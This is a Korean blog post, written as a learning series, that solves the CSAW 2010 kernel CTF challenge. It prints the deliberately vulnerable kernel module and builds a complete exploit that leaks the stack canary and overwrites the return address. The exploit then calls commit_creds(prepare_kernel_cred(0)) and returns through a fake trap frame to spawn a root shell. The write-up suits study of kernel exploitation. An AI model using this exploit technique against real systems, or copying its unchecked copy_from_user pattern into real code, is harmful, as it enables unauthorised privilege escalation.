Kernel Exploit in CTF 01 - CSAW2010 Kernel Exploit

By puing | May 14, 2018

CTF 문제로 공부하는 Kernel Exploit EP.01 - CSAW 2010 Kernel Exploit


안녕하세요, 블랙펄시큐리티 연구원 puing 입니다!
안녕하세요~ 이번에 풀어볼 문제는 2010 CSAW 에 출제되었던 kernel exploit 문제입니다. 이번 시리즈에서는 CTF 문제를 통해 커널 익스플로잇Kernel Exploit을 공부해보려고 합니다.
첫 번째로 선정한 문제는 CSAW 2010 에 출제되었던 kernel exploit 문제입니다.




들어가기 앞서..

제가 kernel exploit in ctf 시리즈를 계획하게 된 계기는 단순해요 ㅎㅎ
평소에 커널에 관심이 많았던 터라 커널 공부를 많이 해보고 싶었습니다.
제가 회사 입사하고 바로 시작한것도 무려 커널 디버깅이라는..ㄷㄷ

근데 막상 커널 공부를 하다보니 진입 장벽이 높고, 도통 이해가 안되더라고요ㅠ__ㅠ 관심은 많았지만 엄두가 안났던 터…

그러던 참에 ctf 문제들을 살펴보다가 kernel exploit 문제들이 ctf 에 몇 번 나왔더라고요 ㅎㅎ
ctf 에 나왔던 kernel exploit 문제들을 살펴보며, 커널 관련 지식(커널 모듈 프로그래밍이나 커널에서 사용하는 함수들 등등!!)도 새롭게 알게되고 문제도 풀어보며 커널에 대한 흥미도 더 생기고! 여러모로 좋습니다!

저처럼 커널 공부는 하고싶지만 막상 어떻게 시작할지 망설였던 분들이라면 CTF 문제를 통해 저와 같이 커널에 대한 흥미를 느끼실 수 있을거란 생각에 시작하게 되었습니다ㅎㅎ
kernel exploit in ctf 시리즈를 통해 같이 커널 공부를 시작 해 봅시다!




문제를 슬쩍 확인 해 봅시다

제가 해당 대회에서 문제를 풀어본건 아니라 실제 문제 환경은 장담할 수 없습니다…만!
참가팀들이 원격 쉘로 vm 에 접속하여 문제를 푸는 방식으로 진행됐던 것 같더군요! 문제 소스(.c)도 제공됐었고요!


문제 소스 내용은 아래와 같습니다.


/*
 * csaw.c
 * CSAW CTF Challenge Kernel Module
 * Jon Oberheide <jon@oberheide.org>
 *
 * This module implements the /proc/csaw interface which can be read
 * and written like a normal file. For example:
 *
 * $ cat /proc/csaw
 * Welcome to the CSAW CTF challenge. Best of luck!
 * $ echo "Hello World" > /proc/csaw
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_write\n");

    /*
     * We should be safe to perform this copy from userspace since our
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }

    return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_read\n");

    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);

    return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");

    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc->read_proc = csaw_read;
    csaw_proc->write_proc = csaw_write;

    printk(KERN_INFO "csaw: created /proc/csaw entry\n");

    return 0;
}

static void __exit
csaw_exit(void)
{
    if (csaw_proc) {
        remove_proc_entry("csaw", csaw_proc);
    }

    printk(KERN_INFO "csaw: unloading module\n");
}

module_init(csaw_init);
module_exit(csaw_exit);


간단한 커널 모듈 내용입니다.

소스를 보면 마지막에 module_init(csaw_init) 라는 코드가 보이네요.
이 코드는 해당 커널 모듈이 로드됐을 때 csaw_init 함수를 호출한다는 뜻입니다.

즉, 커널 모듈을 로드하면 csaw_init 함수 내용들이 실행되겠죠?




분석 해 봅시다!

csaw_init 내용을 보면 아래와 같습니다.

	csaw_proc = create_proc_entry("csaw", 0666, NULL);
	csaw_proc->read_proc = csaw_read;
	csaw_proc->write_proc = csaw_write;

creat_proc_entry 함수는 proc entry 를 만들어주는 함수입니다.
인자로 csaw,0666 을 넣어주면 csaw 이름으로 0666 권한을 가진 entry 가 생기게됩니다.

그럼 모듈이 로드되면 /proccsaw 가 생기게되고 권한이 0666 이기 때문에 읽고 쓸 수 있겠죠??


create_proc_entry 함수의 마지막인자는 NULL 로 채워져있습니다.
첫 번째 인자 이름(csaw)으로 entry 가 생성이 되고 마지막 인자로 NULL 을 넣어주면 /proc 디렉터리 밑에 생성이 됩니다.


csaw_proc->read_proc = csaw_read 의 내용은 해당 proc entry 에 읽기 작업을 하게 되면 read_proc 라는 함수가 실행된다는 뜻입니다.
이와 비슷하게 csaw_proc->write_proc = csaw_write 의 뜻은 이 proc entry 에 쓰기 작업을 하게 되면 write_proc 함수가 호출된다는 뜻입니다.


그럼 /proc/csaw 를 읽고 쓸 때마다 호출 될 함수 내용을 봅시다!




먼저 csaw_read 함수 내용을 보면,

	char buf[MAX_LENGTH];
	memset(buf, 0, sizeof(buf));
	strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
	memcpy(page, buf + off, MAX_LENGTH);

memset 함수로 buf 를 0으로 초기화합니다.
buf 는 64byte 만큼의 크기를 가지고 있습니다. (소스 윗 부분에 #define MAX_LENGTH 64 이렇게 정의되어 있습니다! ㅎㅎ)
buf 를 0 으로 초기화 한 후에, Welcome to the CSAW CTF challenge. Best of luck!\n 문자열을 buf 로 복사합니다.
그리고 memcpy 함수를 통해 page 변수로 복사합니다.
그러면 사용자가 /proc/csaw 라는 proc entry 를 읽게되면 page 에 담긴 내용을 읽게됩니다.


다음으로 csaw_write 함수 내용을 봅시다.

	copy_from_user(&buf, ubuf, count)

copy_from_user 라는 함수로 ubuf 내용을 buf 로 복사합니다.
ubuf 에는 사용자가 /proc/csaw 에 쓰기 작업을 하여 무엇인가를 썼을 때, 그 내용이 담기에 됩니다.
그 내용을 buf 변수에 담게됩니다.


즉, 해당 커널 모듈의 역할은 proc entry 를 만들고 사용자가 읽고 쓸 수 있도록 해주는 것 입니다.


그럼 간단하게 /proc/csaw 에 읽고 쓰기를 해보겠습니다.


#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
        char send_buf[70];
        char read_buf[70];
        int fd,i,j;

        memset(send_buf,0,70);
        memset(read_buf,0,70);

        fd = open("/proc/csaw", O_RDWR);
        if (!fd)
        {
                printf("open failed\n");
                return 0;
        }

        lseek(fd, 0, SEEK_CUR);
        read(fd, read_buf, 64);

        for (i = 0; i < 4; i++)
        {
                for (j = 0; j < 16; j++) printf("%02x ", read_buf[i*16+j] & 0xff);

                printf(" | ");

                for (j = 0; j < 16; j++) printf("%c", read_buf[i*16+j] & 0xff);

                printf("\n");
        }

        memset(send_buf, 0x41, 64);
        write(fd, send_buf, 64);

        return 0;
}


main 함수에서 /proc/csaw 를 읽고 쓰기용으로 연 후에, read 함수로 64byte 만큼 읽고 write 함수로 64byte 만큼 A 를 써보았습니다.


csaw.c 소스에서 csaw_write, csaw_read 함수에 printk 함수를 추가하여 변수내용을 출력하도록 수정하였습니다.


/*
 * csaw.c
 * CSAW CTF Challenge Kernel Module
 * Jon Oberheide <jon@oberheide.org>
 *
 * This module implements the /proc/csaw interface which can be read
 * and written like a normal file. For example:
 *
 * $ cat /proc/csaw 
 * Welcome to the CSAW CTF challenge. Best of luck!
 * $ echo "Hello World" > /proc/csaw
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
	char buf[MAX_LENGTH];

	printk(KERN_INFO "csaw: called csaw_write\n");

	/* 
	 * We should be safe to perform this copy from userspace since our 
	 * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
	 * on the kernel stack to protect against smashing the stack.
	 *
	 * While the user could easily DoS the kernel, I don't think they
	 * should be able to escalate privileges without discovering the 
	 * secret stack canary value.
	 */
	if (copy_from_user(&buf, ubuf, count)) {
		printk(KERN_INFO "csaw: error copying data from userspace\n");
		return -EFAULT;
	}
	printk(KERN_INFO "buf is %s\n", buf);

	return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
	char buf[MAX_LENGTH];

	printk(KERN_INFO "csaw: called csaw_read\n");

	*eof = 1;
	memset(buf, 0, sizeof(buf));
	strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
	printk(KERN_INFO "off is %d\n",off);
	memcpy(page, buf + off, MAX_LENGTH);

	return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
	printk(KERN_INFO "csaw: loading module\n");

	csaw_proc = create_proc_entry("csaw", 0666, NULL);
	csaw_proc->read_proc = csaw_read;
	csaw_proc->write_proc = csaw_write;

	printk(KERN_INFO "csaw: created /proc/csaw entry\n");

	return 0;
}
 
static void __exit
csaw_exit(void)
{
	if (csaw_proc) {
		remove_proc_entry("csaw", csaw_proc);
	}

	printk(KERN_INFO "csaw: unloading module\n");
}
 
module_init(csaw_init);
module_exit(csaw_exit);


결과는 아래의 그림과 같습니다.



off 변수는 0이라고 나옵니다. 왜냐면 main 함수에서 /proc/csaw 를 열고 lseek 함수로 읽기,쓰기 포인터 위치를 0으로 줬기 때문입니다.
0이 아니라 16,24 이 값을 lseek 의 인자로 줬으면 off 변수의 값은 16,24 가 되어 buf+off 위치부터 page 로 복사될 것입니다.


read 함수로 64byte 만큼 읽었을때, page 변수에 담긴 Welcome to the CSAW CTF challenge. Best of luck!\n 문자열을 읽게 됩니다. 그리고 write 함수로 64byte 만큼 A 를 쓰면, csaw_write 함수가 호출되고 buf 에 A * 64 개가 들어가게 됩니다.

그 이후 csaw_read 함수에서 canary leak 이 가능하게 됩니다.

	memcpy(page, buf + off, MAX_LENGTH);


csaw_read 함수를 보면 memcpy 함수로 buf+off 에서 page 로 복사를 해주게되는데 64byte 만큼 복사를 하게됩니다.
방금전에 작성한 소스에서 main 함수를 보면 lseek(fd, 0, SEEK_CUR); 이와 같이 사용하였습니다.
그러면 csaw_read 함수에서 buf+0 이 page 로 복사되어 Welcome to the CSAW CTF challenge. Best of luck!\n 문자열이 page 에 64byte 만큼 복사됩니다.



page 에 복사된 내용은 사용자가 read 함수로 읽을 수 있습니다.
그런데 buf+16 부터 page 로 복사하게하면 어떻게 될까요?

buf[64] + canary[4] .... 이하의 내용까지 page 로 복사가 되어 우리가 읽을 수 있게 되겠죠? 아래와 같이요.



main 함수에서 lseek 함수만 수정하여 lseek(fd, 16, SEEK_SET); 로 바꿔줍시다.
그리고 csaw_read 함수에 page 내용을 출력해주는 부분을 추가하여 실행해보면 결과는 아래와 같습니다.



off 는 16이되고, Welcome to the CSAW CTF challenge. Best of luck!\n 문자열에서
인덱스 16번째인(0부터 시작하니 17번째 문자열) S 부터 page 변수로 64byte 만큼 복사가 됩니다.
page 변수를 출력해보면 SAW CTF~~ 이 문자열부터 시작하는 것을 볼 수 있습니다.

그리고 우리가 read 함수로 page 내용을 읽게되는데 lseek 함수로 16부터 읽기,쓰기 포인터 위치를 정해줬으니
page 변수 내용인 SAW CTF challenge. Best of luck!\n 문자열에서 16만큼 떨어진 곳부터 읽어들이게 됩니다.
그럼 결국엔 e. Best~~ 부터 읽게 되겠죠.


그렇다면 출력된 값중 어디서부터가 canary 값일까요?

csaw_read 함수에서 사용되는 buf 의 크기는 64byte 고 그 다음 바로 canary 값이 있습니다.
buf 내용으로 들어가는 Welcome to the CSAW CTF challenge. Best of luck!\n 문자열은 총 49byte 입니다.
그럼 이후 15byte 까지는 buf 값이고 그 다음 값부터가 canary 값이 되겠네요.


위의 화면에서는 0x28,0x48,0x97,0x9ccanary 값입니다.


돌아와서 csaw_write 함수를 보면 아래와 같이 copy_from_user 함수로 사용자가 쓴 값을 buf 로 복사를 합니다.

	copy_from_user(&buf, ubuf, count)

count 만큼 복사를 하는데 count 에는 사용자가 쓴 데이터의 크기를 담고 있습니다.

여기서 overflow 가 발생합니다. read 함수로 구한 canary 값을 포함하여 overflow 를 일으켜봅시다.


main 함수를 수정하여 write 함수로 쓰기 작업을 할 때, canary 값을 포함하고 임의이 값을 넣어 eip 가 어떤 값으로 바뀌는지 확인 해봅시다.

  • main 함수에 추가한 코드 내용
	memset(send_buf, 0x41, 64);
	memcpy(send_buf+64,canary,4);
	memset(send_buf+68,0x41414141,4);
	memset(send_buf+72,0x42424242,4);
	memset(send_buf+76,0x43434343,4);
	memset(send_buf+80,0x44444444,4);
	write(fd, send_buf, 84);



위와 같이 eip0x44444444 로 바뀌는 것을 확인 할 수 있습니다.

우리는 이제 eip 를 바꿀 수 있습니다!




어떤 주소를 넣을지 생각하기 전에 몇 가지 함수에 대해서 먼저 알아보겠습니다.


/proc/kallsyms 파일을 읽어보면 commit_creds, prepare_kernel_cred 라는 함수가 존재합니다.
kernel exploit 자료들을 보면 commit_creds(prepare_kernel_cred(0)); 의 형태를 종종 볼 수 있는데요,
바로 이 두 함수를 가지고 권한 상승privilege escalation을 하게 됩니다.

/proc/kallsyms 파일은 커널 심볼 정보가 들어있는 파일입니다.


commit_creds 함수와 prepare_kernel_cred 함수에 대해 간단히 짚고 넘어 가겠습니다.

prepare_kernel_cred 함수는 credential structure 를 만들어주는 함수이고
credential structure 에는 프로세스에 관한 정보들이 들어있습니다


struct cred {
        atomic_t        usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t        subscribers;    /* number of processes subscribed */
        void            *put_addr;
        unsigned        magic;
#define CRED_MAGIC      0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
        uid_t           uid;            /* real UID of the task */
        gid_t           gid;            /* real GID of the task */
        uid_t           suid;           /* saved UID of the task */
        gid_t           sgid;           /* saved GID of the task */
        uid_t           euid;           /* effective UID of the task */
        gid_t           egid;           /* effective GID of the task */
        uid_t           fsuid;          /* UID for VFS ops */
        gid_t           fsgid;          /* GID for VFS ops */
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */

        ....
        ....


이렇게 프로세스 정보가 들어있는 credential structure 를 만들어 반환해주는 함수인데,
prepare_kernel_cred(0) 과 같이 사용하면 uid, gid, suid .. 들이 0으로 초기화 된 credential structure 를 만들어 반환하게 됩니다.



그리고 commit_creds 함수는 credential structure 를 인자로 받는데,
현재 credential structure 를 인자로 받은 new credential structure 로 바꿔주는 역할을 합니다.


commit_creds(prepare_kernel_cred(0)) 는 결국 현재 프로세스의 credential structure uid, gid, .. 들이 0으로 채워진 new credential structure 로 바꿔주니 결국엔 root 권한 상승을 뜻하게됩니다.



우리는 eip 를 바꿀 수 있으니 commit_creds(prepare_kernel_cred(0)) 를 호출하면 되겠죠?




아래와 같은 코드를 작성하여 실행 해 보겠습니다.


#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>

int __attribute__((regparm(3)))(*commit_creds)(void*);
void* __attribute__((regparm(3)))(*prepare_kernel_cred)(void*);

void call_binsh(void)
{
	execl("/bin/sh","sh",NULL);
}

void payload(void)
{
	commit_creds(prepare_kernel_cred(0));
	call_binsh();
}

unsigned long kallsym_getaddr(const char* str)
{
	FILE *stream;
	char fbuf[256];
	char addr[32];

	stream = fopen("/proc/kallsyms","r");
	if(stream < 0)
	{
		printf("failed to open /proc/kallsyms\n");
		return 0;
	}

	memset(fbuf,0x00,sizeof(fbuf));
	
	while(fgets(fbuf,256,stream) != NULL)
	{
		char *p = fbuf;
		char *a = addr;

		if(strlen(fbuf) == 0)
			continue;

		memset(addr,0x00,sizeof(addr));
		fbuf[strlen(fbuf)-1] = '\0';

		while(*p != ' ')
			*a++ = *p++;

		p += 3;
		if(!strcmp(p,str))
			return strtoul(addr, NULL, 16);
	}

	return 0;
}

int main(int argc, char *argv[])
{
	char send_buf[100];
	char read_buf[100];
	char canary[4];
	int fd,i,j;

	memset(send_buf,0,70);
	memset(read_buf,0,70);
	
	fd = open("/proc/csaw", O_RDWR);
	if (!fd)
	{
        	printf("open failed\n");
    		return 0;
	}

	lseek(fd, 16, SEEK_CUR);
    	read(fd, read_buf, 64);

	printf("%s\n",read_buf);
	for (i = 0; i < 4; i++)
	{
        	for (j = 0; j < 16; j++) printf("%02x ", read_buf[i*16+j] & 0xff);
        
		printf(" | ");
        	
		for (j = 0; j < 16; j++) printf("%c", read_buf[i*16+j] & 0xff);
        
		printf("\n");
    	}

	memcpy(canary, read_buf+32,4);
	printf("canary is :");
	for(i = 0;i < 4;i++) printf("%02x ",canary[i] & 0xff);
    	
	commit_creds = kallsym_getaddr("commit_creds");

	if(commit_creds == 0)
	{
		printf("failed to get commit_creds address\n");
		return 0;
	}

	printf("commit_creds address is :%p\n",commit_creds);

	prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");

	if(prepare_kernel_cred == 0)
	{
		printf("failed to get prepare_kernel_cred address\n");
		return 0;
	}

	printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred);

	memset(send_buf, 0x41, 64);
	memcpy(send_buf+64,canary,4);
	memset(send_buf+68,0x41414141,4);
	memset(send_buf+72,0x42424242,4);
	memset(send_buf+76,0x43434343,4);
	*(void**)(send_buf+80) = &payload;
	write(fd, send_buf, 84);
    
	return 0;
}


결과는 어떻게 될까요?



segmentation fault 가 일어나게됩니다!!!!
우리는 이제 overflow 를 일으켜서 return address 를 덮을 수 있습니다.




return address 는 우리가 원하는 주소로 바꿀 수 있지만, 그 당시 스택 포인터는 커널 영역을 가리키고 있을 것 입니다.
commit_creds(prepare_kernel_cred(0)) 를 호출하여 credential structure 를 바꾼 후,
/bin/sh 을 인자로 주어 execl 함수를 호출하는 과정에서 스택에 있는 값을 참조하거나 사용한다면..
결과는 장담할 수 없겠죠?ㅠㅠ 유저모드 에서 ,커널 스택을 사용하게되니까요ㅠㅠ


그러니 커널모드 에서 유저모드로 돌아와서 execl 함수를 호출할 때 스택도 user 스택을 가리키도록 만들어봅시다.☆


유저모드 에서 커널모드로 갈 때,(system call 호출, interrupt ..등등) trap frame 을 스택에 먼저 저장합니다.
trap frame 에는 레지스터 정보들이 담겨 있습니다.
예를 들어 system call 을 호출한다고 하면, 레지스터 정보들이 담겨있는 trap frame 을 스택에 먼저 저장하고 system call 을 처리한 후에, system call 호출할 때 스택에 저장해두었던 레지스터들을 다시 가져와서 그 이후 내용들을 이어가게됩니다.

trap frame 안에는 esp, eip 와 같은 레지스터들도 당연히 다 포함하고 있습니다.
그래서 system call, interrupt 등등을 처리한 후에 trap frame 에 있는 정보들을 가지고 유저모드로 돌아와서
그 이후 내용들을 마저 실행할 수 있는 것이지요!




Exploit!

exploit 내용에 fake trap frame 내용까지 추가하여,
return address 를 덮기전에 fake trap frame 을 만들어 저장한 다음에 return address 를 바꾸고,
commit_creds(prepare_kernel_cred(0)) 을 실행한 이후에
스택에 fake trap frame 을 저장하고 /bin/sh 을 실행해보도록 합시다.


#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>


struct trap_frame {
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
} __attribute__((packed));

struct trap_frame tf;
int __attribute__((regparm(3)))(*commit_creds)(void*);
void* __attribute__((regparm(3)))(*prepare_kernel_cred)(void*);

void call_binsh(void)
{
	execl("/bin/sh","sh",NULL);
}

void prepare_tf(void)
{
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &call_binsh;
    tf.esp -= 1024;
}

void payload(void)
{
	commit_creds(prepare_kernel_cred(0));
	asm("mov $tf, %esp;"
		"iret;");
}

unsigned long kallsym_getaddr(const char* str)
{
	FILE *stream;
	char fbuf[256];
	char addr[32];

	stream = fopen("/proc/kallsyms","r");
	if(stream < 0)
	{
		printf("failed to open /proc/kallsyms\n");
		return 0;
	}

	memset(fbuf,0x00,sizeof(fbuf));
	
	while(fgets(fbuf,256,stream) != NULL)
	{
		char *p = fbuf;
		char *a = addr;

		if(strlen(fbuf) == 0)
			continue;

		memset(addr,0x00,sizeof(addr));
		fbuf[strlen(fbuf)-1] = '\0';

		while(*p != ' ')
			*a++ = *p++;

		p += 3;
		if(!strcmp(p,str))
			return strtoul(addr, NULL, 16);
	}

	return 0;
}

int main(int argc, char *argv[])
{
	char send_buf[100];
	char read_buf[100];
	char canary[4];
	int fd,i,j;

	memset(send_buf,0,70);
	memset(read_buf,0,70);
	
	fd = open("/proc/csaw", O_RDWR);
	if (!fd)
	{
        	printf("open failed\n");
    		return 0;
	}

	lseek(fd, 16, SEEK_CUR);
    	read(fd, read_buf, 64);

	printf("%s\n",read_buf);
	for (i = 0; i < 4; i++)
	{
        	for (j = 0; j < 16; j++) printf("%02x ", read_buf[i*16+j] & 0xff);
        
		printf(" | ");
        	
		for (j = 0; j < 16; j++) printf("%c", read_buf[i*16+j] & 0xff);
        
		printf("\n");
    	}

	memcpy(canary, read_buf+32,4);
	printf("canary is :");
	for(i = 0;i < 4;i++) printf("%02x ",canary[i] & 0xff);
    	
	commit_creds = kallsym_getaddr("commit_creds");

	if(commit_creds == 0)
	{
		printf("failed to get commit_creds address\n");
		return 0;
	}

	printf("commit_creds address is :%p\n",commit_creds);

	prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");

	if(prepare_kernel_cred == 0)
	{
		printf("failed to get prepare_kernel_cred address\n");
		return 0;
	}

	printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred);

	memset(send_buf, 0x41, 64);
	memcpy(send_buf+64,canary,4);
	memset(send_buf+68,0x41414141,4);
	memset(send_buf+72,0x42424242,4);
	memset(send_buf+76,0x43434343,4);
	*(void**)(send_buf+80) = &payload;
	prepare_tf();
	write(fd, send_buf, 84);
    
	return 0;
}



root 권한을 획득할 수 있습니다!!




reference

아래의 링크는 문제를 풀면서 참고한 곳입니다.


다음에도 커널 익스플로잇 문제로 돌아오겠습니다!!
아디오스!!!

comments powered by Disqus